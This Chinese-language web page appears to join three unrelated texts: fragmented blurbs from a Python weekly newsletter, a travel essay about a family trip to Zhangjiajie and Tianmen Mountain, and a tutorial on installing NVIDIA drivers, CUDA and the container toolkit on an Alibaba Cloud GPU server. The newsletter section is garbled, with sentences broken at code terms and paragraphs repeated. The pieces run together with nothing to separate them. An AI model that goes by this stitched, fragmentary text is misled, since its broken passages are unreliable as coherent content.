是一个用于构建和发布文档的开源平台(你肯定见过它家的 Sphinx 或 MkDocs 生成的文档),这个仓库收录了一些开源项目的文档,可以学习它们是如何构建出酷炫效果的。VisCPM-Chat
模型)和文到图生成能力(VisCPM-Paint
模型)。基于百亿参数量语言大模型 CPM-Bee(10B)训练(周刊第 7 期曾介绍过),融合视觉编码器(Q-Former)和视觉解码器(Diffusion-UNet)以支持视觉信号的输入和输出。time
、timeit
、cProfile
、Pyinstrument
、perf
等工具以及一些性能优化的技巧。itertools
提供了很多操作可迭代对象的方法(star 3.1k)。requirements.txt
文件以及 PEP-621 的 pyproject.toml
文件。python -m xxx
调用?这篇文章使用 ripgrep 查找出几十个模块,并重点介绍了http.server
、base64
、asyncio
、tokenize
、ast
、json.tool
、random
等工具。tailwindpie
这个库,并演示如何在 Flask 项目中使用它,实现自动安装及配置 TailwindCSS。AsyncMixin
的 mixin 在 Python 中创建异步构造函数。elif
。print("hello world")
,然后在命令行执行这个文件,幕后都发生了什么呢?文章使用了 readelf
、strace
、ldd
、debugfs
、/proc
、ltrace
、dd
和 stat
等工具,详细解释了脚本被执行的过程。主要涉及操作系统相关的内容,而不是 CPython 解释器。(附:文章还引用了最近很火的 Putting the “You” in CPU ,介绍计算机是如何运行程序的,强烈推荐!)with
代码块中使用的对象,在进入和退出时做一些操作。文章介绍了上下文管理器的实现细节。print(8)
会打印出 9。文章展示了如何用 C 编写一个简单的模块,介绍了 CPython 中整数对象池的实现,并通过修改两个整数的引用,实现一个简单的篡改数字的效果。Asyncio.Future
的特性编写一个语言级别的防缓存击穿的工具——Share
,并介绍它的使用和高并发下的处理方法。.asdl
文件,重新构造抽象语法树,修改语法分析文件,并利用 pegen 重新生成语法分析器。importlib
实现延迟加载的用法。。__all__
来定义模块中可被导出的变量名。assertNumQueries
测试查询数、使用nplusone
捕获 N+1 查询、使用django-zen-queries
捕获 N+1 查询、避免对预取对象作新的查询、使用 defer()
防止获取大的未使用字段、避免在大字段上使用 distinct()
。lark
构建自定义词法分析与解析器、支持用户和代理方式连接、实现 BTree 作数据存储。multiprocessing.Pool
使用写时复制的共享对象的优点、有丰富的状态管理功能、使用 tqdm 实现进度条、支持在仪表板查看进度,等等。(star 1.5K)TypeError
的含义、出现的原因以及解决方法。文章非常之细致,介绍了 20 多种容易出错的场景,有些是初学者问题,但也有些是老手也易忽视的编程细节。Socket
接口,还基于它提供了Protocol
&Transport
接口以及更高级的Stream
接口,大大的减轻了开发者进行网络编程的心理负担。文章主要介绍了这几个接口的简单使用以及对应的原理分析。logging
比较难用,加上在程序错误时经常会缺少必要的日志,因此开发了 flake8-logging 插件。它有 12 条规则,这篇文章介绍了 3 条:使用 logging.getLogger() 实例化记录器、在异常处理时使用 exception()、避免预先格式化日志信息。uuid
库的几个方法:uuid1() 利用系统 MAC 地址与时间戳生成 uuid;uuid4() 生成完全随机的 uuid;uuid3() 和 uuid5() 基于常量命名空间和变量名生成 uuid,前者使用 MD5 算法,后者使用 SHA-1 算法。pytest.main
是 Pytest 框架中一个非常实用的函数,用于从命令行运行测试集或者以编程方式运行测试。文章探讨了它的用法和一些常见的应用场景。requirements.txt
来管理 Python 依赖项,推荐使用 Poetry。pip 的主要问题是没有 lockfile 和手工管理虚拟环境麻烦。除了 Poetry,作者也提及了 Hatch 和 PDM。python setup.py
提示 setuptools 无法导入。作者在寻求解决方案时,发现 Python 的打包生态非常让人困惑,他经历了一系列复杂而耗时的过程。grequests
构建在 gevent
库之上,可以并发多个请求,有效利用异步编程的强大功能。这篇基础教程介绍了它的基本使用方法,以及一个提升性能的建议。GeneratedField
是正在开发的 Django 5.0 的新功能,利用数据库的能力自动计算数据列的值。作者是 Django 的贡献者,测试了在 SQLite 中使用这个新功能的各种场景。(附:这篇文章还介绍了一些 Django 5.0 中的新东西)bisect
模块只有两个函数,但可以做很多事,文章介绍了:二分搜索、前缀搜索、在列表中查找连续的相等值、查找字典中最接近的键、自定义对象的排序、按照字典 key 搜索。kivy
,数据分析使用了Pandas
。403 Forbidden
,通常由 CSRF 错误导致,文章介绍了导致这种错误的 7 种原因,并解读 Django 源码,详细梳理了它们的校验逻辑。seccomp
+ setrlimit
。(附:如何安全运行别人上传的Python代码? 这篇文章的方案是使用 Docker 的 Python SDK 来构建镜像,在 Docker 中执行代码)cp
命令的工作原理,然后用 Python 实现了一个基础版本。从中可以看到高级编程语言提供的强大功能和简单性。generate
方法的替代品。(star 3.3K)datetime.datetime
的 utcnow()
与 utcfromtimestamp()
方法已被标注为“deprecated”,将在未来版本中删除。文章介绍了它们的缺陷,解释了为什么它们会被弃用。替代的方法分别是:datetime.now()
和 datetime.fromtimestamp()
。>>> import keyword
>>> keyword.softkwlist
['_', 'case', 'match', 'type']
Field.db_default
参数,可设置由数据库计算的默认值;GeneratedField
可以创建由数据库生成的列;引入了字段组和字段组模板,简化了表单字段相关元素的呈现。(附:一则介绍Django 新特性的视频 )python-dependency-injector
实现依赖注入的方法。code
模块,提供了实现 REPL 的功能,文章逐步提出需求,演示了如何用它开发一个简单的 REPL。微信公众号:除更新周刊外,还发布其它原创作品,并转载一些优质文章。(可加好友,可加读者交流群)
Github:你可以获取本周刊的 Markdown 源文件,做任何想做的事!
Telegram:除了发布周刊的通知外,我将它视为一个“副刊”,补充发布更加丰富的资讯。
Twitter:我的关注列表里有大量 Python 相关的开发者与组织的账号。
Field.db_default
参数,可设置由数据库计算的默认值;GeneratedField
可以创建由数据库生成的列;引入了字段组和字段组模板,简化了表单字段相关元素的呈现。(附:一则介绍Django 新特性的视频 )python-dependency-injector
实现依赖注入的方法。code
模块,提供了实现 REPL 的功能,文章逐步提出需求,演示了如何用它开发一个简单的 REPL。🎁Python潮流周刊🎁已顺利更新到第 30 期啦!我在几天前写了一篇《聊聊技术周刊的变现》分享了对未来发展的思考,近期也会对所有周刊再作一次总结,敬请期待!
此去出游已逾三月,趁着记忆还没模糊,记下那些残存的只言片语。曾走过的路,看过的景,擦肩而过的路人;无边落木出云巨石嵌起的峡谷溪水潺潺,蜿蜒公路飞驰汽车依偎的城市人声攘攘;它从来不止是停留在脑海中的画面,它真真切切的从平静岁月中划过。
早早的去接媳妇下班,把前几天备好的物资搬到车上,全家人出门前洗漱好,外卖叫了开封菜,我们就上路了,汽车从喧嚣的城市到寂静的乡村,从夕阳西下到一弯新月浮上山头,一路向西,一路伴着路边的灯光、天边的月牙,音箱中传来心驰神往的乐章,窗外的虫鸣与发动机的嘶叫,我们不间歇的6小时飞驰了600公里跨越了申苏浙皖,进入鄂皖交界的黄梅。加油、如厕、欣赏朦胧的月色,一气呵成。后半夜的高速越发车少,到僻静的山里,几个弯过后前无尾灯,后无追车,偶然间一束强光从对向射来,不过是那东行的过客。
越往西,越是山高林密,只是这黑夜中没有景色飘进窗户,只有孤寂的车流和撇下的灯影。不多时,后座的母女沉沉的睡去,我也早已关了音乐,寂静中有高速安全预警电话打进来,提醒不要疲劳驾驶。惊的我连番进入服务区。绷紧的神经一旦放下来,就催生了连绵的睡意。就这样走走停停,天已经不知不觉的亮了,清晨走在洞庭湖大堤沿岸的公路上,远处枝头上白鹭在振翅,从后背射过来的阳光打在它身上,恍惚是金鹏展翅。路上越来越多的车流,不断的超过我们,全是各地的牌子,大概也都是刚刚经历了夜宿的旅客。
到了慈利,就要到目的地了,最后一个休息点,刷牙洗脸填充肚皮,这下真切的听着各地的方言,确信都是出来撒欢的,只有拎着热水瓶的大货司机是个例外,汝之饴糖,彼之砒霜,我们的旅途他们的生活。再见,一千两百公里的路途;再见,终究我们要不了几天又会回到自己的轨迹中去。大庸我们到了。
乘着观光车就到了缆车处,随着缆车越来越高,终得见那刀劈斧斫的张家界地貌。眼看着缆车立柱建在这突兀的石头山上,同厢的乘客忍不住打卡拍照。在御笔峰,奇峰三千,秀水八百的张家界在眼前展开。行道上,土家族的导游绘声绘色的与旅行团讲述本地的婚恋习俗,讲到精彩处,团队中那些个单身汉笑的前仰后合。到了天子山,最重要的当是去瞻仰一下两把菜刀闹革命的贺龙元帅,贺老总于2009年自八宝山81号墓迁葬于天子山贺龙公园,回到了他出生的地方。元帅墓是由两把菜刀造型的主碑体,浮雕贺老总叼着烟斗的侧面像,墓前满是悼念者敬献的鲜花。不远处一尊贺龙铜像屹立在云青岩上。贺老总八字胡,小烟斗,神态逼真,一匹战马正蹄着劲,站在元帅旁边,说话间就要扬鞭起征。
转过天子山,跟着环保车来到袁家界。在绝壁栈道鱼贯而行,山谷间一座座奇山异石,在飘渺的薄雾下,移步换景。队伍中半大的孩子捡根树枝、捡块石子,趁大人不注意,嗖的就丢向山谷。这边几个声音洪亮点的游客说话,隐约着对面山谷风来,回声窃窃。不远处见得两山靠拢,下部中空,上部紧贴,自然形成一座拱桥,飞架在这青云之上,“桥”上人群络绎不绝,自桥头连着对面的锁山,红绸金锁,一年复一年的、密密麻麻的挂满了整个山体,祈福许愿大概是对着神来之桥莫大的尊重。一路上五女出征,导游说是百元大钞(第四版)、哈利路亚悬浮山、迷魂台,相继出现在视野里。在迷魂台观景平台,为了能拍摄这叹为观止的全景,承包景区摄影的商贩更是动用了无人机在此处航拍。交了钱,就立等可取。沿着蜿蜒的栈道继续前进,不遑时,又到了换乘点。
此时太阳已斜挂高空,但仍然是那么毒辣,晒的人好是生疼,好在山高林密,路边树上窸窸窣窣的有些动静,眼尖的孩子发现了猴子,大人们也从自顾自赶路中回过神来,遍地提示小心野猴的提示牌,这会儿才是见到真的,惊叫、讨论、戏弄声不绝于耳。很快我们到了百龙天梯处,这户外大电梯说是景点不如说是运输工具,向云端、坠地平,上山下山的游客不过是行进的路线不同,殊途不过同归。下到山脚,西斜的阳光格外黄亮,照的对面山崖金灿灿的,一层一层堆叠的岩石让人恍惚的睁不开眼,几只猴子在换乘点的屋顶上悠闲的踱来踱去,犬吠不怵,人来不惊。
出了山门,结束一天的疲惫,漫步在武陵源的街道上,不甚拥挤,五彩斑斓的霓虹店招,十里同文,遍地是这三下锅、清水鱼,也不乏龙虾小烧烤。就在酒店附近找了家馆子,点了些特色,祭了五脏庙,一夜一天的行程终结,匆匆回去睡了囫囵觉。
武陵源很大,大到方圆几百里,奇峰几千座。第二天按照行前的计划再入武陵源,昨天是山顶漫步,今天是索溪而行。在十里画廊,步行道曲折蜿蜒,边上是生肖系列和奋进系列小火车,电动小火车没有轰隆的铁轨声,只听到吱呀的摩擦。步行道上三三两两的游客,吭哧吭哧往前走的,观景点位驻足的,不约而同的都会被树上的猴子吸引,只见几个大爷大妈在分苹果,本是好奇一个苹果四人分?还没反应过来,手上的苹果已经喂了猴子,见那大师兄端坐在树枝上,大腹便便,怕是衣食无忧惬意自在很久了。我只好教育女儿,野生动物不得投喂,别把自己置于危险中,也别把动物置于“危险”中,好在娃儿对动物还有些莫名的害怕,紧赶着我们越过人群,朝着山谷里面走去。沿途采药老人、手指峰栩栩如生。孔雀开屏、仙女拜观音全凭臆想。象形的和会意的纵横交错,不多时也就遍穿了这个小峡谷。
从金鞭溪的入口水绕四门出发,往里数百米,有一池清水,水不深,水潭中遍地的石头被打磨的精光,也不硌脚,在八月这个暑季,自然这里是孩子们的天堂,摸鱼捉虾的,打水仗踩水花的,各有各的玩法。也不知道是水清无鱼还是人比鱼多,孩子们的网兜水桶大都是空空的,但脸上的笑意却是满满的。下水的孩子还有些大人们,把随身的物品放在部分干涸的河床上,不一会儿,山上的大师兄下山了,这些猴子径直奔向游客的背包,一顿翻找,见到吃的就直接拿走了,背包东西被倒了一地,山匪也不过如此了。
沿着溪边栈道索溪而行,提示牌上要么大鲵保护,禁止下水,要么就是野猴出没,禁止投喂。山涧的凉风吹的人格外舒畅,林中些许蝉鸣,山顶不时飞过几只鸟儿,林逾静,山更幽。经过一段幽静小路,走到森林公园的大石碑下,休憩的游客、忙碌的商贩,仿佛是见到了桃花源,曲径通幽处,柳暗花明村。见此处人多我们也不多做停留,径直往前赶路,在鱼肠小道上有山上巨石落下自然搭成的“桥洞”,需要弯腰低头才能穿过。路边不知名的小花热烈的绽放着,黄的紫的居多,在单调的灰绿色调中,甚是养眼。
转角又遇到亭子,几公里走下来,不免腰酸腿痛腹中空,就占了八角亭的一边,大快朵颐起来。充满电我们奔着大氧吧广场目的地而去,天气热,前面玩水的清凉也消耗殆尽,女儿拿着网兜水枪又唧唧歪歪的嚷着要玩水,待到一亲水平台,拗不过她,只得遂了她的愿,老婆担心安全,索性也下去一起玩了起来,这边厢我守着行装两眼无神脑袋放空,那边厢只听扑通扑通两声有人掉水里了,路上游客也迅速有人下去准备捞人,这一看这不我家俩人么,也顾不得其它直跳下三尺平台,把娘俩抓了起来,好在水没多深,只是从光滑的石头上滚下,落得个浑身湿透。虽是盛夏,打湿了在这山涧溪谷多少还是有些寒凉,身上还多少带点青苔泥渍。不得已我们反向回酒店换身衣服。
原本是打算去大氧吧然后转到去黄石寨,有道是不到黄石寨,枉来张家界。经这一出,返回山门,再重走这一路,时间当是不足了。那干脆留个遗憾,为以后再来留个借口。
出了吴家峪东门,时间已经来到了下午1点多,如果再走到落水的地方,得下午三点了,后面想要到达黄石寨时间上已经不允许了,当机立断转道去张家界大峡谷,看攻略全程下来3个小时就够了,时间正好。从武陵源到大峡谷,还有十几公里路程,后半截盘山路,有几辆游客车缓行,寻得一段直路一脚油,又两个急弯就甩掉他们了,直奔游客中心。
暑期的下午,虽是网红点,人倒是不多,并且B线游览还是免费的,寻着A线去了玻璃桥,上前先带了鞋套,下午两点多的太阳,加上玻璃上熠熠的光芒着实有些晒的慌,她娘俩迫不及撑着太阳伞,我倒是不惧太阳,奈何这几天也差点被晒秃噜皮。玻璃桥也没有不同于别处,甚至可以说平淡了点,唯一的特点大概是架于峡谷之上,落差高了点罢了。桥面上,恐高的人还是很多,抬头看天的,扶着护栏的,那身形别提多打趣了。我们躺在玻璃上,站在护栏边草草的拍了些照片,着实是顶不过这炎炎的太阳。过了桥,一座漂亮的两层小楼,一些供游客休整的座椅凳子,小卖部夹杂其中,买几根冰棍才对得起这一身臭汗淋漓。
嵌在山体上的栈道,犹如镶嵌在云端的天路,站在上面再顺势看向山谷,不免让人眩晕。颤颤巍巍的走过这云端天路,来到下山的入口,这里有飞索横渡大峡谷,悬空的座椅在高空悬索上飞速直下刺激了当。正是这般体验,队伍绵长,而一侧的悬崖电梯却是没什么人。见空我们就顺着观光电梯下山了,原本以为直通山脚,着实想多了,下到半山腰,如果继续做电梯下行,就得额外银子开路。售票口边上隐蔽的角落有木栈道可供下山,不时有人寻道而来。真走上木栈,我才心里暗暗吃紧,膝伤未愈,这陡峭的下山路如何是好。当走下一节,再回头看,那木栈矗然耸立,再返回已是不可能了。让老婆孩子先走,我拽着扶手,伤腿在前,直直的杵向台阶,不多时便汗流浃背了。越往下走越是内心后悔,该回头的。越往下走越是没法反悔,来时路已在云端。大约两三刻钟,才下得山来,溪谷阴凉,水击石潺潺如咽,林中鸦咕咕如诉。
溪流汇聚,一潭池水清澈如碧。池边休憩片刻,剩下的路途就是谷底平路了,修在山水之间,浮于水上又倚在山峦。远处瀑布在微风的作用下,水雾飘渺,让人很是惬意,一扫下山的疲倦。行走在水墨山水间,不觉脚步也轻快了不少。一路穿溪过崖,溪下群鱼跃,崖中百燕飞,山重水复终到栈道尽头却不是景区出口,还排着狭长的队伍,目光循着队伍,画舫船悠悠而来。众人上了船,穿上救护服坐定后,画舫船驶离了码头,电动船没了吱呀的摇橹声,只有船后的翻浪阵阵,水岸边野鸭游戏,湖中船摇水动,人心亦动。
傍晚时分,天空大变,阴沉沉压过了夕照霞光,路边的玉米须髯辄张,天上雷声轰隆,不时夹杂着几道闪电刺破这黑夜,前往庸城的路渐渐隐没在了暴雨中。等到了三十多公里外的城内火烧云却红透了半边天。在酒店安顿妥当,点了外卖吃过后早早也就睡了。
天蒙蒙亮,小城就热闹开了,所住酒店离索道站不远,可以清楚的看到缆车上已经有游客上山了。赶紧催促着娘俩起床。洗漱妥当酒店吃过早饭就已经个把小时过去了。去天门山的索道站在张家界市中心,步行过去,时有吆喝小贩前来兜售雨衣鞋套。在检票门前,队伍蛇形冗长,走走停停,八九点的太阳真晒的厉害,密集的人群中汗味升腾,熏得的人昏胀不适。队伍中形色各异,见一拄着拐的耄耋老人,真真是朽木即腐,被人搀扶着,碎步挪移,不知图何。一女子从队伍中逐个前挤,一直走到队伍最前面,人之所到,皆有鄙夷,怎奈也无人硬拦。
上了缆车,我家三人,另有母女二人及一上山导游。索道在城市上空悬浮,在山峦间起降,低矮处贴着楼房,贴着树梢,高悬处挂在崖壁,挂在云端。足足半个小时,直接从城区直升山顶。轿厢中两孩子性别相同、年龄相仿,说话间就快成了要好的朋友。
天门山就是一个巨大的山顶平台,上面没有大的起伏上下台阶,环山顶一圈,可以顺时针走东线,或者逆时针走西线,最后殊途同归,在穿山电梯处下山去往天门洞。
山顶云雾缭绕,好似仙境,彼时浓雾未开,高阔的视野尽是一片茫茫,不见山,不见谷。我们顺着西线栈道行进。山谷底的大雾蒸腾而上,见状,顺手丢了片树叶,树叶不是缓缓而落,而是随着雾气翩翩而升。突然发现一直小山鼠,见人过来,飞速的从树枝上窜夺,一不小心掉了下万丈悬崖,这一幕把女儿逗乐了,一个劲的跟我说,爸爸看到没,老鼠跳崖自杀了。行进中,还发现山上有很多蚂蚱,只是不如我们常见的绿色,那种山石的土灰色,数量还不少,栈道护栏上就趴着好几只。我拿着手上的登山杖,一记桌球推杆,硬生生的将蚂蚱推下悬崖,奇怪的是这蚂蚱也没飞,就那么直直的掉了下去。女儿见模学样,把蚂蚱一个个的推了下去,这一路就这么玩乐不止。
再往前,又是玻璃栈道,还需要收费5元每人,提供一副鞋套。那山脚下兜售鞋套的果不然是骗子。一小段玻璃栈道后是鬼谷栈道,栈道护栏和山上密密麻麻的绑着红色祈福带,为了独树一帜,那些挂在树梢的、悬崖外两三丈远的,极尽能事。穿过悬索桥,有不明身份的人让看桥头的相机,还没反应过来,后面就嚷嚷开了,兄弟刚刚拍的照片要不要打印出来。呵,原来是摄影小贩,还是未经同意就拍照的,老婆正想去理论两句,见我们没啥兴趣,小贩就去招呼别人了。悬索桥的一头是一个补给点,一间小卖部,一个小亭子,不大的广场上摆满了桌椅。亭子中一个半遮面的小姐姐在弹古筝,旁边是收费点歌的牌子,没什么人点,小姐姐也不甚敬业。半个山快转下来了,浓雾才渐渐消散,近处可见对面山谷栈道上的游客,远处是隐隐约约山峦叠嶂。在一处深处悬崖的透明玻璃观景平台上,陆续有游客排队打卡拍照,轮到我们,马虎拍了几张照片就撤了出来。沿途几个命名的景点,也看不出个所以然来,倒是山谷间的互相对话饶有趣味,不免让我想起了三清山上那句天王盖地虎,如法炮制,对面却没传来小鸡炖蘑菇,一恍惚毕竟物不是人也非。
天门山顶,东西线正好在山背面中心位置完成交换,有个天门寺,大门紧闭,见有工人出入,大概是在维修,闭门谢客的状态,过了寺庙这里是一个颇大的休息点,除了小卖部,还有土产店和速食店。稍作休整,买了女儿要尝试的海洋味冰激凌,我们就紧赶着绕去东线了。
东线的景略有差异,大部分是在树林中穿过,横拦在路上的树杈免不了在它面前需要低头弯腰,大概是佛前山路自俯首吧。栈道上见到好几个做直播的博主,一番激情在那演说,只是言之无物,说的最多的就是给个关注点个赞之类的混账话。林中一个土家族装扮的老太,两三个手机架着在那直播卖银饰,娘俩对老太的银饰很感兴趣,左挑右看,不免买了几件。穿过这片丛林,一回头就可以看到翼装飞行的起点,旁边带团的导游说翼装飞行需要天时地利人和,想亲眼目睹翼装飞行表演全看运气。今天这大雾是绝无可能了。这里也是最后一个休息点了,如果山顶的路线全部游览完毕,就从这里坐电梯下山到天门洞去了。
这一个穿山电梯,建设者将山体掏空,架设七级自动扶梯,径直可以下到天门洞。这现代化的登山设施和这鬼斧神工的自然景观交错,有些光怪陆离。下到天门洞,面前是999级台阶,直下天门洞广场。正好和B线C线的游客相反,他们得从天门洞广场爬台阶上山。A线的可以走下山,也可以从旁边再花点钱继续做5级电梯下山。这台阶远处看只觉得高大雄伟。近处从上往下看,着实有点惊恐,一是台阶面太窄,窄的甚至无法放下一只脚,二是坡度极大,几十级台阶楞是大角度垂直向下,一边走一边腿脚打颤,反复招呼着小家伙要留心脚下,走慢点。好在整个台阶是分成两三段,在分段处会有个稍大的平台和缓坡处可供休息。台阶两边的山体,一边是瀑布飞流直下,声壮如钟。一边是穿山电梯,融入山体。下得台阶,仰视天门洞,惊叹于自然的神奇之作,回望上天梯,感概于人类的眇眇之身。敬一柱香,告之以虔诚,正见天门吐雾奇观,涤净凡心。
在天门洞广场,大屏上显示天门山所举办的各种极限赛事,除了翼装飞行,还有自行车速降、越野车挑战天门山天梯,高空走钢索,一幅幅视觉大片,一件件惊人之举。一直都说天梯999级,总想亲自考证一下,刚才下山忘了数。这会儿下山了又不忍错过这机会,只是腿伤让人犹决,老婆劝我算了,以后有机会再来。我看时间还早,她俩不想再上了,就让她们在这里等我。我兀自一人再行上山,一边上一边数,100、200还很轻松,越往后越是喘息不止。怕是数漏了台阶,加上喘的厉害,原本暗暗的数干脆张开嘴大声的数。旁边的游客好奇的朝我看着,一个调皮的小年轻,干脆随着我的喘息节律跟着一起喘,属实好气又好笑。600、700,眼见就要到山顶了,拽着护栏实在爬不动了,登山杖也不知道啥时候被杵坏了,休息间隔从200级慢慢降到30级一休息,最后50级台阶,一鼓作气冲上去,到顶后还有零散几级小台阶到洞底,我数了一下大概是891级台阶。上来后,两腿终于是不听使唤了,颤颤巍巍的缓坡都下不了,只得买票做电梯下山了。电梯门票是一张明信片,还是有邮资的那种,在天门洞广场集章处填了家里的地址丢进邮筒,10月末明信片在上海顺利回收。
在天门洞广场休憩完毕,经过一段栈道,就做索道下山了,C线快速索道约26人一个轿厢,一样是穿云跃峰,比A线要快了不少,没几分钟就下到山脚,山脚偌大一个天门狐仙剧场。也没看到演出时间表,顺着人流坐上回城区的中巴车。
到了站,不过下午4点,在张家界城区逛了逛,打个车也没目的的闲转,与出租车闲聊,问我们七十二奇楼是否去过,答否,便介绍我们去看看,也不远,晚上7点左右亮灯非常之漂亮。欣然前往,走着发现那不过是我们昨晚来时路过的地方,确是灯火璀璨。于是咨询司机附近有啥好吃的,载我们来到一家餐馆,点了最出名的三下锅和娃娃鱼外加小菜饮料。三下锅食不得其味,娃娃鱼食不得其金。勉强填饱肚子,又在街上逛了一圈,在一特产店与老板相聊甚欢,尝了张家界特有的莓茶、葛根酥,决定大包小包买了些这等土家风味带回去。
买完特产就折返酒店了,天气预报说后两天大到暴雨,评估了下时间和机会成本,决定放弃前往凤凰古城,要么连夜200公里开外赶过去,要么明天一早过去,但回程时间既定,看不了凤凰的夜色,于是乎退了预订的凤凰酒店,决定第二天一早睡到自然醒后返回上海,凤凰古城和黄石寨下次再来了,留个念想,留个遗憾。一夜安睡,第二天风雨中出发,又是2000多里路,是夜抵沪。
在人工智能越来越普及的今天,GPU 也变得越来越常见,无论是传统的机器学习和深度学习,还是现在火热的大语言模型和文生图模型,GPU 都是绕不开的话题。最近在工作中遇到一个需求,需要在 Kubernetes 中动态地调度和使用 GPU 资源,关于 GPU 这块一直是我的知识盲区,于是趁着业余时间恶补下相关的知识。
学习 GPU 有一定的门槛,不仅是因为好点的显卡都价格不菲,而且使用它还要搭配有相应的硬件环境,虽然笔记本也可以通过显卡扩展坞来使用,但是性能有一定的损失。对于有条件的同学,网上有很多关于如何搭建自己的深度学习工作站的教程可供参考,对此我也没有什么经验,此处略过;对于没有条件的同学,网上也有很多白嫖 GPU 的攻略,我在 使用 Google Colab 体验 AI 绘画 这篇博客中也介绍了如何在 Google Colab 中免费使用 GPU 的方法;不过这些环境一般都是做机器学习相关的实验,如果想在上面做一些更底层的实验,比如安装 Docker,部署 Kubernetes 集群等,就不太合适了。
正在无奈之际,我突然想到了阿里云的云服务器 ECS 有一个按量付费的功能,于是便上去瞅了瞅,发现有一种规格叫 共享型 GPU 实例,4 核 CPU,8G 内存,显卡为 NVIDIA A10,显存 2G,虽然配置不高,但是足够我们做实验的了,价格也相当便宜,一个小时只要一块八:
于是便抱着试一试的态度下了一单,然后开始了下面的实验。但是刚开始就遇到了问题,安装 NVIDIA 驱动的时候一直报 Unable to load the kernel module 'nvidia.ko'
这样的错误:
在网上搜了很多解决方案都没有解决,最后才在阿里云的产品文档中找到了答案:阿里云的 GPU 产品有 计算型 和 虚拟化型 两种实例规格族,可以从它们的命名上进行区分,比如上面我买的这个实例规格为 ecs.sgn7i-vws-m2s.xlarge
,其中 sgn
表示这是一台采用 NVIDIA GRID vGPU 加速的共享型实例,它和 vgn
一样,都属于虚拟化型,使用了 NVIDIA GRID 虚拟 GPU 技术,所以需要安装 GRID 驱动,具体步骤可以 参考这里;如果希望手工安装 NVIDIA 驱动,我们需要购买计算型的 GPU 实例。
阿里云的产品文档中有一篇 NVIDIA 驱动安装指引,我觉得整理的挺好,文档中对不同的规格、不同的使用场景、不同的操作系统都做了比较详情的介绍。
于是我重新下单,又买了一台规格为 ecs.gn5i-c2g1.large
的 计算型 GPU 实例,2 核 CPU,8G 内存,显卡为 NVIDIA P4,显存 8G,价格一个小时八块多。
购买计算型实例纯粹是为了体验一下 NVIDIA 驱动的安装过程,如果只想进行后面的 Kubernetes 实验,直接使用虚拟化型实例也是可以的。另外,在购买计算型实例时可以选择自动安装 NVIDIA 驱动,对应版本的 CUDA 和 CUDNN 也会一并安装,使用还是很方便的。
登录刚买的服务器,我们可以通过 lspci
看到 NVIDIA 的这张显卡:
# lspci | grep NVIDIA
00:07.0 3D controller: NVIDIA Corporation GP104GL [Tesla P4] (rev a1)
此时这个显卡还不能直接使用,因为还需要安装 NVIDIA 的显卡驱动。访问 NVIDIA Driver Downloads,在这里选择你的显卡型号和操作系统并搜索:
从列表中可以看到驱动的不同版本,第一条是最新版本 535.129.03
,我们点击链接进入下载页面并复制链接地址,然后使用下面的命令下载之:
# curl -LO https://us.download.nvidia.com/tesla/535.129.03/NVIDIA-Linux-x86_64-535.129.03.run
这个文件其实是一个可执行文件,直接运行即可:
# sh NVIDIA-Linux-x86_64-535.129.03.run
安装过程中会出现一些选项,保持默认即可,等待驱动安装成功后,运行 nvidia-smi
命令应该能看到显卡状态:
# nvidia-smi
Thu Nov 24 08:16:38 2023
+---------------------------------------------------------------------------------------+
| NVIDIA-SMI 535.129.03 Driver Version: 535.129.03 CUDA Version: 12.2 |
|-----------------------------------------+----------------------+----------------------+
| GPU Name Persistence-M | Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap | Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|=========================================+======================+======================|
| 0 Tesla P4 Off | 00000000:00:07.0 Off | 0 |
| N/A 41C P0 23W / 75W | 0MiB / 7680MiB | 2% Default |
| | | N/A |
+-----------------------------------------+----------------------+----------------------+
+---------------------------------------------------------------------------------------+
| Processes: |
| GPU GI CI PID Type Process name GPU Memory |
| ID ID Usage |
|=======================================================================================|
| No running processes found |
+---------------------------------------------------------------------------------------+
CUDA(Compute Unified Device Architecture) 是 NVIDIA 推出的一种通用并行计算平台和编程模型,允许开发人员使用 C、C++ 等编程语言编写高性能计算应用程序,它利用 GPU 的并行计算能力解决复杂的计算问题,特别是在深度学习、科学计算、图形处理等领域。所以一般情况下,安装完 NVIDIA 驱动后,CUDA 也可以一并安装上。
在下载 NVIDIA 驱动时,每个驱动版本都对应了一个 CUDA 版本,比如上面我们在下载驱动版本 535.129.03
时可以看到,它对应的 CUDA 版本为 12.2
,所以我们就按照这个版本号来安装。首先进入 CUDA Toolkit Archive 页面,这里列出了所有的 CUDA 版本:
找到 12.2
版本进入下载页面:
选择操作系统、架构、发行版本和安装类型,下面就会出现相应的下载地址和运行命令,按照提示在服务器中执行即可:
# wget https://developer.download.nvidia.com/compute/cuda/12.2.2/local_installers/cuda_12.2.2_535.104.05_linux.run
# sh cuda_12.2.2_535.104.05_linux.run
这个安装过程会比较长,当安装成功后,可以看到下面这样的信息:
===========
= Summary =
===========
Driver: Installed
Toolkit: Installed in /usr/local/cuda-12.2/
Please make sure that
- PATH includes /usr/local/cuda-12.2/bin
- LD_LIBRARY_PATH includes /usr/local/cuda-12.2/lib64, or, add /usr/local/cuda-12.2/lib64 to /etc/ld.so.conf and run ldconfig as root
To uninstall the CUDA Toolkit, run cuda-uninstaller in /usr/local/cuda-12.2/bin
To uninstall the NVIDIA Driver, run nvidia-uninstall
Logfile is /var/log/cuda-installer.log
GPU 环境准备好之后,接下来我们先试着在 Docker 容器中使用它。由于是新买的系统,并没有 Docker 环境,所以我们要先安装 Docker,可以参考我之前写的 在 VirtualBox 上安装 Docker 服务 这篇博客。
安装完 Docker 之后,执行下面的命令确认版本:
# docker --version
Docker version 24.0.7, build afdd53b
然后执行下面的命令来测试下 GPU 是否可以在容器中使用:
# docker run --gpus all --rm centos:latest nvidia-smi
docker: Error response from daemon: could not select device driver "" with capabilities: [[gpu]].
可以看到命令执行报错了,稍微 Google 一下这个错就知道,想在 Docker 中使用 NVIDIA GPU 还必须安装 nvidia-container-runtime
运行时。
nvidia-container-runtime
运行时我们一般使用 NVIDIA Container Toolkit 来安装 nvidia-container-runtime
运行时,根据官方文档,首先将 nvidia-container-toolkit.repo
文件添加到 yum 的仓库目录 /etc/yum.repos.d
中:
# curl -s -L https://nvidia.github.io/libnvidia-container/stable/rpm/nvidia-container-toolkit.repo | \
tee /etc/yum.repos.d/nvidia-container-toolkit.repo
也可以使用
yum-config-manager --add-repo
来添加:# yum install -y yum-utils # yum-config-manager --add-repo https://nvidia.github.io/libnvidia-container/stable/rpm/nvidia-container-toolkit.repo
然后使用 yum install
安装:
# yum install -y nvidia-container-toolkit
